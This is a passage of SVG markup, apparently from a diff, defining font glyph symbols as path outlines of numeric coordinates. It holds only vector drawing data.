6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/> +</symbol> +<symbol overflow="visible" id="glyph0-1"> +<path style="stroke:none;" d="M 1.296875 -14.234375 C 1.515625 -14.273438 1.753906 -14.304688 2.015625 -14.328125 C 2.285156 -14.347656 2.554688 -14.359375 2.828125 -14.359375 C 3.097656 -14.367188 3.363281 -14.375 3.625 -14.375 C 3.894531 -14.382812 4.144531 -14.390625 4.375 -14.390625 C 5.363281 -14.390625 6.203125 -14.21875 6.890625 -13.875 C 7.578125 -13.539062 8.140625 -13.054688 8.578125 -12.421875 C 9.015625 -11.796875 9.328125 -11.039062 9.515625 -10.15625 C 9.703125 -9.28125 9.796875 -8.300781 9.796875 -7.21875 C 9.796875 -6.238281 9.703125 -5.300781 9.515625 -4.40625 C 9.335938 -3.507812 9.03125 -2.722656 8.59375 -2.046875 C 8.164062 -1.367188 7.59375 -0.828125 6.875 -0.421875 C 6.164062 -0.015625 5.273438 0.1875 4.203125 0.1875 C 4.023438 0.1875 3.800781 0.179688 3.53125 0.171875 C 3.257812 0.160156 2.976562 0.144531 2.6875 0.125 C 2.394531 0.113281 2.125 0.0976562 1.875 0.078125 C 1.625 0.0664062 1.429688 0.046875 1.296875 0.015625 Z M 4.453125 -12.984375 C 4.316406 -12.984375 4.171875 -12.984375 4.015625 -12.984375 C 3.859375 -12.984375 3.703125 -12.976562 3.546875 -12.96875 C 3.398438 -12.957031 3.265625 -12.941406 3.140625 -12.921875 C 3.015625 -12.910156 2.910156 -12.898438 2.828125 -12.890625 L 2.828125 -1.296875 C 2.878906 -1.285156 2.972656 -1.273438 3.109375 -1.265625 C 3.253906 -1.265625 3.40625 -1.257812 3.5625 -1.25 C 3.71875 -1.238281 3.867188 -1.226562 4.015625 -1.21875 C 4.160156 -1.21875 4.265625 -1.21875 4.328125 -1.21875 C 5.078125 -1.21875 5.703125 -1.378906 6.203125 -1.703125 C 6.703125 -2.035156 7.097656 -2.472656 7.390625 -3.015625 C 7.679688 -3.566406 7.882812 -4.203125 8 -4.921875 C 8.125 -5.648438 8.1875 -6.421875 8.1875 -7.234375 C 8.1875 -7.953125 8.128906 -8.65625 8.015625 -9.34375 C 7.910156 -10.039062 7.71875 -10.65625 7.4375 -11.1875 C 7.164062 -11.726562 6.789062 -12.160156 6.3125 -12.484375 C 5.832031 -12.816406 5.210938 -12.984375 4.453125 -12.984375 Z M 4.453125 -12.984375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-2"> +<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-3"> +<path style="stroke:none;" d="M 6.8125 -0.515625 C 6.46875 -0.253906 6.078125 -0.0625 5.640625 0.0625 C 5.210938 0.1875 4.765625 0.25 4.296875 0.25 C 3.640625 0.25 3.085938 0.125 2.640625 -0.125 C 2.191406 -0.382812 1.828125 -0.742188 1.546875 -1.203125 C 1.273438 -1.671875 1.070312 -2.234375 0.9375 -2.890625 C 0.8125 -3.546875 0.75 -4.273438 0.75 -5.078125 C 0.75 -6.816406 1.054688 -8.140625 1.671875 -9.046875 C 2.296875 -9.953125 3.179688 -10.40625 4.328125 -10.40625 C 4.859375 -10.40625 5.3125 -10.359375 5.6875 -10.265625 C 6.070312 -10.171875 6.398438 -10.050781 6.671875 -9.90625 L 6.265625 -8.625 C 5.722656 -8.9375 5.132812 -9.09375 4.5 -9.09375 C 3.757812 -9.09375 3.203125 -8.769531 2.828125 -8.125 C 2.460938 -7.476562 2.28125 -6.460938 2.28125 -5.078125 C 2.28125 -4.523438 2.316406 -4.003906 2.390625 -3.515625 C 2.472656 -3.023438 2.609375 -2.597656 2.796875 -2.234375 C 2.992188 -1.878906 3.238281 -1.597656 3.53125 -1.390625 C 3.832031 -1.179688 4.207031 -1.078125 4.65625 -1.078125 C 5.007812 -1.078125 5.335938 -1.132812 5.640625 -1.25 C 5.941406 -1.375 6.191406 -1.519531 6.390625 -1.6875 Z M 6.8125 -0.515625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-4"> +<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-5"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.5 -9.09375 L 2.5625 -9.09375 C 2.75 -9.476562 2.992188 -9.78125 3.296875 -10 C 3.609375 -10.226562 3.976562 -10.34375 4.40625 -10.34375 C 4.71875 -10.34375 5.070312 -10.28125 5.46875 -10.15625 L 5.1875 -8.6875 C 4.832031 -8.800781 4.519531 -8.859375 4.25 -8.859375 C 3.8125 -8.859375 3.457031 -8.734375 3.1875 -8.484375 C 2.914062 -8.234375 2.738281 -7.898438 2.65625 -7.484375 L 2.65625 0 L 1.203125 0 Z M 1.203125 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-6"> +<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/> +</symbol> +<symbol overflow="visible" id="glyph0-7"> +<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 8.796875 -12.828125 L 5.3125 -12.828125 L 5.3125 0 L 3.78125 0 L 3.78125 -12.828125 L 0.28125 -12.828125 L 0.28125 -14.234375 L 8.796875 -14.234375 Z M 8.796875 -12.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 1.09375 -9.546875 C 1.488281 -9.796875 1.96875 -9.988281 2.53125 -10.125 C 3.09375 -10.257812 3.6875 -10.328125 4.3125 -10.328125 C 4.875 -10.328125 5.328125 -10.238281 5.671875 -10.0625 C 6.023438 -9.894531 6.300781 -9.664062 6.5 -9.375 C 6.695312 -9.082031 6.820312 -8.75 6.875 -8.375 C 6.9375 -8.007812 6.96875 -7.625 6.96875 -7.21875 C 6.96875 -6.40625 6.953125 -5.609375 6.921875 -4.828125 C 6.890625 -4.054688 6.875 -3.328125 6.875 -2.640625 C 6.875 -2.128906 6.890625 -1.648438 6.921875 -1.203125 C 6.953125 -0.765625 7.015625 -0.347656 7.109375 0.046875 L 6 0.046875 L 5.65625 -1.15625 L 5.5625 -1.15625 C 5.363281 -0.800781 5.066406 -0.492188 4.671875 -0.234375 C 4.273438 0.015625 3.75 0.140625 3.09375 0.140625 C 2.351562 0.140625 1.75 -0.109375 1.28125 -0.609375 C 0.820312 -1.117188 0.59375 -1.820312 0.59375 -2.71875 C 0.59375 -3.300781 0.6875 -3.789062 0.875 -4.1875 C 1.070312 -4.582031 1.347656 -4.898438 1.703125 -5.140625 C 2.066406 -5.390625 2.492188 -5.5625 2.984375 -5.65625 C 3.484375 -5.757812 4.039062 -5.8125 4.65625 -5.8125 C 4.789062 -5.8125 4.925781 -5.8125 5.0625 -5.8125 C 5.195312 -5.8125 5.335938 -5.804688 5.484375 -5.796875 C 5.523438 -6.210938 5.546875 -6.582031 5.546875 -6.90625 C 5.546875 -7.675781 5.429688 -8.21875 5.203125 -8.53125 C 4.972656 -8.84375 4.550781 -9 3.9375 -9 C 3.5625 -9 3.148438 -8.941406 2.703125 -8.828125 C 2.253906 -8.710938 1.878906 -8.566406 1.578125 -8.390625 Z M 5.515625 -4.640625 C 5.378906 -4.648438 5.242188 -4.65625 5.109375 -4.65625 C 4.972656 -4.664062 4.835938 -4.671875 4.703125 -4.671875 C 4.367188 -4.671875 4.046875 -4.644531 3.734375 -4.59375 C 3.421875 -4.539062 3.144531 -4.445312 2.90625 -4.3125 C 2.664062 -4.175781 2.472656 -3.992188 2.328125 -3.765625 C 2.179688 -3.535156 2.109375 -3.242188 2.109375 -2.890625 C 2.109375 -2.347656 2.238281 -1.925781 2.5 -1.625 C 2.769531 -1.320312 3.113281 -1.171875 3.53125 -1.171875 C 4.101562 -1.171875 4.546875 -1.304688 4.859375 -1.578125 C 5.171875 -1.847656 5.390625 -2.148438 5.515625 -2.484375 Z M 5.515625 -4.640625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-11"> +<path style="stroke:none;" d="M 1.203125 -14.234375 L 2.65625 -14.234375 L 2.65625 -9.390625 L 2.71875 -9.390625 C 3.28125 -10.066406 4.019531 -10.40625 4.9375 -10.40625 C 5.976562 -10.40625 6.757812 -9.988281 7.28125 -9.15625 C 7.800781 -8.332031 8.0625 -7.03125 8.0625 -5.25 C 8.0625 -3.414062 7.710938 -2.050781 7.015625 -1.15625 C 6.316406 -0.257812 5.332031 0.1875 4.0625 0.1875 C 3.4375 0.1875 2.863281 0.113281 2.34375 -0.03125 C 1.832031 -0.175781 1.453125 -0.34375 1.203125 -0.53125 Z M 2.65625 -1.484375 C 2.851562 -1.378906 3.085938 -1.296875 3.359375 -1.234375 C 3.640625 -1.171875 3.9375 -1.140625 4.25 -1.140625 C 4.957031 -1.140625 5.515625 -1.472656 5.921875 -2.140625 C 6.335938 -2.816406 6.546875 -3.851562 6.546875 -5.25 C 6.546875 -5.832031 6.507812 -6.351562 6.4375 -6.8125 C 6.363281 -7.28125 6.25 -7.679688 6.09375 -8.015625 C 5.9375 -8.359375 5.734375 -8.625 5.484375 -8.8125 C 5.234375 -9 4.929688 -9.09375 4.578125 -9.09375 C 4.085938 -9.09375 3.679688 -8.945312 3.359375 -8.65625 C 3.046875 -8.363281 2.8125 -7.960938 2.65625 -7.453125 Z M 2.65625 -1.484375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-12"> +<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-13"> +<path style="stroke:none;" d="M 1.546875 -9.109375 C 1.546875 -9.484375 1.632812 -9.765625 1.8125 -9.953125 C 2 -10.140625 2.25 -10.234375 2.5625 -10.234375 C 2.875 -10.234375 3.117188 -10.140625 3.296875 -9.953125 C 3.484375 -9.765625 3.578125 -9.484375 3.578125 -9.109375 C 3.578125 -8.710938 3.484375 -8.414062 3.296875 -8.21875 C 3.117188 -8.03125 2.875 -7.9375 2.5625 -7.9375 C 2.25 -7.9375 2 -8.03125 1.8125 -8.21875 C 1.632812 -8.414062 1.546875 -8.710938 1.546875 -9.109375 Z M 1.546875 -0.921875 C 1.546875 -1.296875 1.632812 -1.578125 1.8125 -1.765625 C 2 -1.953125 2.25 -2.046875 2.5625 -2.046875 C 2.875 -2.046875 3.117188 -1.953125 3.296875 -1.765625 C 3.484375 -1.578125 3.578125 -1.296875 3.578125 -0.921875 C 3.578125 -0.523438 3.484375 -0.226562 3.296875 -0.03125 C 3.117188 0.15625 2.875 0.25 2.5625 0.25 C 2.25 0.25 2 0.15625 1.8125 -0.03125 C 1.632812 -0.226562 1.546875 -0.523438 1.546875 -0.921875 Z M 1.546875 -0.921875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-14"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph0-15"> +<path style="stroke:none;" d="M 1.203125 -10.15625 L 2.234375 -10.15625 L 2.453125 -9.0625 L 2.546875 -9.0625 C 3.046875 -9.957031 3.832031 -10.40625 4.90625 -10.40625 C 5.96875 -10.40625 6.765625 -10.003906 7.296875 -9.203125 C 7.835938 -8.410156 8.109375 -7.101562 8.109375 -5.28125 C 8.109375 -4.425781 8.019531 -3.65625 7.84375 -2.96875 C 7.664062 -2.289062 7.414062 -1.710938 7.09375 -1.234375 C 6.769531 -0.753906 6.375 -0.382812 5.90625 -0.125 C 5.4375 0.125 4.914062 0.25 4.34375 0.25 C 3.957031 0.25 3.644531 0.222656 3.40625 0.171875 C 3.175781 0.128906 2.925781 0.03125 2.65625 -0.125 L 2.65625 4.0625 L 1.203125 4.0625 Z M 2.65625 -1.609375 C 2.851562 -1.441406 3.066406 -1.3125 3.296875 -1.21875 C 3.535156 -1.125 3.851562 -1.078125 4.25 -1.078125 C 4.96875 -1.078125 5.535156 -1.441406 5.953125 -2.171875 C 6.378906 -2.898438 6.59375 -3.945312 6.59375 -5.3125 C 6.59375 -5.875 6.550781 -6.382812 6.46875 -6.84375 C 6.394531 -7.3125 6.273438 -7.707031 6.109375 -8.03125 C 5.953125 -8.363281 5.75 -8.625 5.5 -8.8125 C 5.25 -9 4.941406 -9.09375 4.578125 -9.09375 C 3.585938 -9.09375 2.945312 -8.488281 2.65625 -7.28125 Z M 2.65625 -1.609375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-16"> +<path style="stroke:none;" d="M 7.609375 -3.5 C 7.609375 -2.800781 7.613281 -2.171875 7.625 -1.609375 C 7.632812 -1.046875 7.679688 -0.492188 7.765625 0.046875 L 6.765625 0.046875 L 6.4375 -1.171875 L 6.359375 -1.171875 C 6.171875 -0.765625 5.875 -0.425781 5.46875 -0.15625 C 5.0625 0.113281 4.570312 0.25 4 0.25 C 2.90625 0.25 2.085938 -0.175781 1.546875 -1.03125 C 1.015625 -1.882812 0.75 -3.226562 0.75 -5.0625 C 0.75 -6.789062 1.078125 -8.101562 1.734375 -9 C 2.390625 -9.894531 3.296875 -10.34375 4.453125 -10.34375 C 4.847656 -10.34375 5.160156 -10.316406 5.390625 -10.265625 C 5.617188 -10.222656 5.867188 -10.148438 6.140625 -10.046875 L 6.140625 -14.234375 L 7.609375 -14.234375 Z M 6.140625 -8.5625 C 5.953125 -8.71875 5.738281 -8.832031 5.5 -8.90625 C 5.257812 -8.988281 4.941406 -9.03125 4.546875 -9.03125 C 3.828125 -9.03125 3.269531 -8.703125 2.875 -8.046875 C 2.476562 -7.398438 2.28125 -6.398438 2.28125 -5.046875 C 2.28125 -4.441406 2.316406 -3.898438 2.390625 -3.421875 C 2.460938 -2.941406 2.578125 -2.523438 2.734375 -2.171875 C 2.890625 -1.816406 3.09375 -1.546875 3.34375 -1.359375 C 3.59375 -1.171875 3.898438 -1.078125 4.265625 -1.078125 C 5.242188 -1.078125 5.867188 -1.65625 6.140625 -2.8125 Z M 6.140625 -8.5625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-17"> +<path style="stroke:none;" d="M 2.515625 -10.15625 L 2.515625 -3.9375 C 2.515625 -2.914062 2.617188 -2.179688 2.828125 -1.734375 C 3.046875 -1.296875 3.429688 -1.078125 3.984375 -1.078125 C 4.265625 -1.078125 4.515625 -1.132812 4.734375 -1.25 C 4.960938 -1.363281 5.164062 -1.515625 5.34375 -1.703125 C 5.519531 -1.890625 5.675781 -2.101562 5.8125 -2.34375 C 5.945312 -2.59375 6.054688 -2.847656 6.140625 -3.109375 L 6.140625 -10.15625 L 7.609375 -10.15625 L 7.609375 -2.890625 C 7.609375 -2.398438 7.625 -1.894531 7.65625 -1.375 C 7.6875 -0.851562 7.738281 -0.394531 7.8125 0 L 6.765625 0 L 6.40625 -1.421875 L 6.34375 -1.421875 C 6.113281 -0.972656 5.78125 -0.582031 5.34375 -0.25 C 4.914062 0.0820312 4.375 0.25 3.71875 0.25 C 3.28125 0.25 2.898438 0.191406 2.578125 0.078125 C 2.253906 -0.0234375 1.976562 -0.21875 1.75 -0.5 C 1.519531 -0.789062 1.347656 -1.179688 1.234375 -1.671875 C 1.117188 -2.171875 1.0625 -2.804688 1.0625 -3.578125 L 1.0625 -10.15625 Z M 2.515625 -10.15625 "/> +</symbol> +<symbol overflow="visible" id="glyph0-18"> +<path style="stroke:none;" d="M 7.609375 0.46875 C 7.609375 1.78125 7.316406 2.75 6.734375 3.375 C 6.148438 4 5.300781 4.3125 4.1875 4.3125 C 3.507812 4.3125 2.953125 4.253906 2.515625 4.140625 C 2.085938 4.023438 1.738281 3.890625 1.46875 3.734375 L 1.890625 2.484375 C 2.160156 2.597656 2.457031 2.707031 2.78125 2.8125 C 3.101562 2.925781 3.503906 2.984375 3.984375 2.984375 C 4.804688 2.984375 5.367188 2.753906 5.671875 2.296875 C 5.984375 1.835938 6.140625 1.066406 6.140625 -0.015625 L 6.140625 -0.765625 L 6.078125 -0.765625 C 5.859375 -0.460938 5.578125 -0.222656 5.234375 -0.046875 C 4.898438 0.128906 4.46875 0.21875 3.9375 0.21875 C 2.84375 0.21875 2.035156 -0.203125 1.515625 -1.046875 C 1.003906 -1.890625 0.75 -3.222656 0.75 -5.046875 C 0.75 -6.785156 1.082031 -8.101562 1.75 -9 C 2.425781 -9.894531 3.421875 -10.34375 4.734375 -10.34375 C 5.367188 